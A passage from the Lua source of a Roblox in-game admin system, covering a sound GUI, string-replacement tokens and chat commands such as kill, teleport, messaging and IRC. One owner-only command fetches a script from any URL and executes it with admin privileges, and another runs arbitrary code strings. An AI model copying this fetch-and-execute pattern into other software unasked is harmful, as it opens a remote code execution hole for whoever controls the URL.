5109 NumSounds = NumSounds + 1
5110 end
5111 end
5112
5113 local Size = UDim2.new(0.1, 100, 0.1, 100)
5114 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5115 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5116
5117 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5118 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5119 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5120 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5121 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5122 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5123 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5124
5125 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5126 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5127 if Sound then
5128 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5129 end
5130 if Time then
5131 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5132 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5133
5134 coroutine.wrap(function()
5135 local Alive = true
5136
5137 local function StopTimer() Alive = false end
5138 Closed.Event:connect(StopTimer)
5139 Minimized.Event:connect(StopTimer)
5140 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5141
5142 for i = Time,0,-1 do
5143 for ii = 1,10 do
5144 if Alive == true then
5145 Timer.Text = i
5146 wait(0.1)
5147 else
5148 break
5149 end
5150 end
5151 end
5152 if Alive == true then
5153 Close:Invoke()
5154 else
5155 Timer:Destroy()
5156 Stop:Destroy()
5157 end
5158 end)()
5159 end
5160end
5161
5162---- STRING REPLACEMENT OPERATIONS ----
5163
5164-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5165
5166-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5167
5168StringReplacements = {
5169 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5170 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5171 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5172 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5173 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5174 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5175 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5176 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5177 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5178 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5179
5180 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5181 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5182 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5183 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5184 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5185 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5186
5187 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5188 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5189 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5190 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5191 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5192 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5193 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5194 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5195 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5196 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5197 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5198 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5199 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5200 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5201 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5202 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5203}
5204
5205---- COMMANDS ----
5206
5207-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5208
5209Commands = { -- can't make local
5210 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5211 print("[MML's Admin]: Test message from "..Speaker.Name)
5212 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5213 end};
5214
5215 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5216 local Players = STRING:Scan(Arguments[1], Speaker)
5217 for _,Player in pairs(Players) do
5218 if Player.Character then
5219 Player.Character:BreakJoints()
5220 end
5221 end
5222 end};
5223
5224 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5225 local Players = STRING:Scan(Arguments[1], Speaker)
5226 for _,Player in pairs(Players) do
5227 if Player.Character then
5228 Instance.new("ForceField", Player.Character)
5229 end
5230 end
5231 end};
5232
5233 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5234 local Players = STRING:Scan(Arguments[1], Speaker)
5235 for _,Player in pairs(Players) do
5236 if Player.Character then
5237 for _,Get in pairs(Player.Character:GetChildren()) do
5238 if Get:IsA("ForceField") then
5239 Get:Destroy()
5240 end
5241 end
5242 end
5243 end
5244 end};
5245
5246 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5247 for _,Player in pairs(Server.Players:GetPlayers()) do
5248 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
5249 end
5250 end};
5251
5252 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5253 for _,Player in pairs(Server.Players:GetPlayers()) do
5254 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569)
5255 end
5256 end};
5257
5258 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5259 local Players = STRING:Scan(Arguments[1], Speaker)
5260 for _,Player in pairs(Players) do
5261 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
5262 end
5263 end};
5264
5265 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5266 for _,Player in pairs(Server.Players:GetPlayers()) do
5267 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24})
5268 end
5269 end};
5270
5271 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5272 local Players = STRING:Scan(Arguments[1], Speaker)
5273 for _,Player in pairs(Players) do
5274 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24})
5275 end
5276 end};
5277
5278 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5279 local Players = STRING:Scan(Arguments[1], Speaker)
5280 local AgeList = {}
5281 for _,Player in pairs(Players) do
5282 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5283 end
5284 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5285 end};
5286
5287 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5288 local Players = STRING:Scan(Arguments[1], Speaker)
5289 local AgeList = {}
5290 for _,Player in pairs(Players) do
5291 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5292 end
5293 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5294 for _,Player in pairs(SecondPlayers) do
5295 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5296 end
5297 end};
5298
5299 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5300 local Storage = {{}, {}, {}, {}}
5301 local StorageText = {}
5302 local Formatted = {}
5303 for CommandNames,Data in pairs(Commands) do
5304 if not Data.Hidden then
5305 local RankNeeded = RANK:ConvertRank(Data[4])
5306 local Add = ""
5307 if Data[4] == "Non-Admin" then Add = "BLACK " end
5308 if Data[4] == "Admin" then Add = "CYAN " end
5309 if Data[4] == "Member" then Add = "BLUE " end
5310 if Data[4] == "Owner" then Add = "BROWN " end
5311 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5312 local AddBet = Settings.Bet
5313 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5314 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5315 table.insert(Storage[RankNeeded + 1], Add..Text)
5316 StorageText[Text] = CommandNames
5317 end
5318 end
5319 for Num,_ in pairs(Storage) do
5320 table.sort(Storage[Num])
5321 end
5322 for _,Table in pairs(Storage) do
5323 for _,Command in pairs(Table) do
5324 table.insert(Formatted, Command)
5325 end
5326 end
5327 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5328 Clicked.Event:connect(function(Text)
5329 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5330 end)
5331 end};
5332
5333 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5334 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5335 end};
5336
5337 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5338 if GUI:GetColor(Arguments[1]) then
5339 local ColorScheme = string.upper(Arguments[1])
5340 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5341 Settings.ColorScheme = ColorScheme
5342 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5343 else
5344 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5345 end
5346 end};
5347
5348 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5349 local List = {}
5350 for Color,_ in pairs(Colors) do
5351 table.insert(List, Color.." "..Color)
5352 end
5353 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5354 end};
5355
5356 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5357 local Transparency = tonumber(Arguments[1])
5358 if Transparency then
5359 if Transparency > 90 then Transparency = 90 end
5360 if Transparency < 10 then Transparency = 10 end
5361 Settings.TransparencyScheme = Transparency/100
5362
5363 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5364 else
5365 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5366 end
5367 end};
5368
5369 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5370 if Fonts[Arguments[1]] then
5371 Settings.Font = Arguments[1]
5372 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5373 end
5374 end};
5375
5376 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5377 Settings.Fun = not Settings.Fun
5378 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5379 end};
5380
5381 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5382 Settings.DisableAbuse = not Settings.DisableAbuse
5383 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5384 end};
5385
5386 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5387 local List = {}
5388 for Font,_ in pairs(Fonts) do
5389 if Font == Settings.Font then
5390 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5391 else
5392 table.insert(List, Font.." "..Font)
5393 end
5394 end
5395 GUI:ListGui(Speaker, "Font list", List, 44453197)
5396 end};
5397
5398 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5399 local SoundID = tonumber(Arguments[1])
5400 if SoundID then
5401 Settings.ExecuteNotificationSound = SoundID
5402
5403 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5404 else
5405 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5406 end
5407 end};
5408
5409 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5410 Settings.ExecuteNotificationSound = 0
5411 end};
5412
5413 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5414 local Players = STRING:Scan(Arguments[1], Speaker)
5415 for _,Player in pairs(Players) do
5416 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5417 end
5418 end};
5419
5420 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5421 local Players = STRING:Scan(Arguments[1], Speaker)
5422 for _,Player in pairs(Players) do
5423 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5424 end
5425 end};
5426
5427 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5428 local Players = STRING:Scan(Arguments[1], Speaker)
5429 for _,Player in pairs(Players) do
5430 coroutine.wrap(function()
5431 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5432 wait(1)
5433 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5434 end)()
5435 end
5436 end, Hidden = true};
5437
5438 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5439 local Players = STRING:Scan(Arguments[1], Speaker)
5440 for _,Player in pairs(Players) do
5441 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5442 end
5443 end};
5444
5445 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5446 local Players = STRING:Scan(Arguments[1], Speaker)
5447 for _,Player in pairs(Players) do
5448 CORE:ChangeName(Player, Arguments[2])
5449 end
5450 end};
5451
5452 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5453 local Players = STRING:Scan(Arguments[1], Speaker)
5454 for _,Player in pairs(Players) do
5455 if Player.Character then
5456 local Head = Player.Character:FindFirstChild("Label")
5457 if Head then Head:Destroy() end
5458 local Head = Player.Character:FindFirstChild("Head")
5459 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5460 end
5461 end
5462 end};
5463
5464 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5465 local Players = STRING:Scan(Arguments[1], Speaker)
5466 for _,Player in pairs(Players) do
5467 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5468 end
5469 end};
5470
5471 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5472 local Players = STRING:Scan(Arguments[1], Speaker)
5473 for _,Player in pairs(Players) do
5474 local _,RankNum = RANK:GetRank(Player)
5475 if RankNum <= RANK:ConvertRank(Rank) then
5476 Server.TS:Teleport(Arguments[2], Player)
5477 end
5478 end
5479 end};
5480
5481 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5482 local Players = STRING:Scan(Arguments[1], Speaker)
5483 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5484 if Suc then
5485 for _,Player in pairs(Players) do
5486 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5487 end
5488 else
5489 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5490 end
5491 end};
5492
5493 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5494 local Players = STRING:Scan(Arguments[1], Speaker)
5495 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5496 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5497 if Suc then
5498 for _,Player in pairs(Players) do
5499 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5500 end
5501 else
5502 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5503 end
5504 end)
5505 end};
5506
5507 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5508 local Players = STRING:Scan(Arguments[1], Speaker)
5509 for _,Player in pairs(Players) do
5510 local _,RankNum = RANK:GetRank(Player)
5511 if RankNum < RANK:ConvertRank(Rank) then
5512 Server.TS:Teleport(155307015, Player)
5513 end
5514 end
5515 end};
5516
5517 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5518 local Players = STRING:Scan(Arguments[1], Speaker)
5519 for _,Player in pairs(Players) do
5520 local _,RankNum = RANK:GetRank(Player)
5521 if RankNum < RANK:ConvertRank(Rank) then
5522 Server.TS:Teleport(347911447, Player)
5523 end
5524 end
5525 end};
5526
5527 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5528 local Players = STRING:Scan(Arguments[1], Speaker)
5529 for _,Player in pairs(Players) do
5530 CORE:GenerateShield(Player)
5531 end
5532 end};
5533
5534 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5535 local Players = STRING:Scan(Arguments[1], Speaker)
5536 for _,Player in pairs(Players) do
5537 if Player.Character then
5538 local Shield = Player.Character:FindFirstChild("Shield")
5539 if Shield then Shield:Destroy() end
5540 end
5541 end
5542 end};
5543
5544 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5545 local Num = tonumber(Arguments[1])
5546 if Num and Num ~= 0 then
5547 local Random = math.random(1,math.abs(Num))
5548 if Random == math.random(1,math.abs(Num)) then
5549 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5550 else
5551 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5552 end
5553 else
5554 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5555 end
5556 end};
5557
5558 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5559 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5560 IRC:AddChat(Speaker.Name, Arguments[1])
5561 end};
5562
5563 --[[
5564 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5565 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5566 if Res then
5567 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5568 end
5569 end, Http = true};
5570
5571 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5572 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5573 if Res then
5574 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5575 end
5576 end}, Http = true;
5577 ]]
5578
5579 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5580 IRC:Quit("Reconnecting")
5581 IRC:ConnectToServer(Settings.IRCServer)
5582 end};
5583
5584 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5585 local Players = STRING:Scan(Arguments[1], Speaker)
5586 for _,Player in pairs(Players) do
5587 local PreAdd = {}
5588 for _,Data in pairs(IRC.Chats) do
5589 local Error = nil
5590 if Rank == "Owner" then Error = Data[3] end
5591 table.insert(PreAdd, {Data[1], Data[2], Error})
5592 end
5593 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5594 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5595 if Rank ~= "Owner" then Error = nil end
5596 AddMessage:Invoke(UserName, Message, Error)
5597 end)
5598 SendPressed.Event:connect(function(Text)
5599 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5600 IRC:AddChat(Player.Name, Text)
5601 end)
5602 end
5603 end};
5604
5605 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5606 local Players = STRING:Scan(Arguments[1], Speaker)
5607 for _,Player in pairs(Players) do
5608 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5609 if Type == "Leave" then
5610 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5611 elseif Type == "Join" then
5612 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5613 end
5614 end)
5615 PriChat.Chatted.Event:connect(function(UserName, Message)
5616 AddMessage:Invoke(UserName, Message)
5617 end)
5618 SendPressed.Event:connect(function(Text)
5619 PriChat.Chatted:Fire(Player.Name, Text)
5620 table.insert(PriChat.Chats, {Player.Name, Text})
5621 end)
5622 end
5623 end};
5624
5625 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5626 ExecuteSafe(Arguments[1], Speaker)
5627 end};
5628
5629 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5630 local Script = REMOTE:GetURL(Arguments[1], Player)
5631 if Script then
5632 ExecuteSafe(Script, Speaker)
5633 end
5634 end, Http = true};
5635
5636 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5637 local Time = tick()
5638 local Res = REMOTE:GetURL(Arguments[1], Player)
5639 if Res then
5640 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5641 end
5642 end, Http = true};
5643
5644 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5645 CORE:RemoveAdmin(Speaker)
5646 end};
5647
5648 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5649 for _,Player in pairs(Server.Players:GetPlayers()) do
5650 GUI:SendHint(Player, Arguments[1])
5651 end
5652 end};
5653
5654 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5655 local Players = STRING:Scan(Arguments[1], Speaker)
5656 local Debt = nil
